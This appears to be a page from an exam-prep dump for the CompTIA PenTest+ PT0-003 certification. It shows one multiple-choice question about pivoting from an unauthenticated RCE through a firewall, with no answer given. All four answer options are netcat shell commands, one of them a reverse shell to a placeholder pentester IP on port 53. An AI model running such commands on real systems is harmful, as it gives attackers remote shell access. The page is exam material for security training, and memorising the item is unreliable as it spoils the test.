A penetration tester finds an unauthenticated RCE vulnerability on a web server and wants to...

Vendor: CompTIA
Product: PT0-003
Update on: Apr 29, 2026
Questions: 330

CompTIA PT0-003 Question Answer

A penetration tester finds an unauthenticated RCE vulnerability on a web server and wants to use it to enumerate other servers on the local network. The web server is behind a firewall that allows only an incoming connection to TCP ports 443 and 53 and unrestricted outbound TCP connections. The target web server is https://target.comptia.org. Which of the following should the tester use to perform the task with the fewest web requests?

nc -e /bin/sh -lp 53

/bin/sh -c ' nc -l -p 443 '

nc -e /bin/sh < pentester_ip > 53

/bin/sh -c ' nc < pentester_ip > 443 '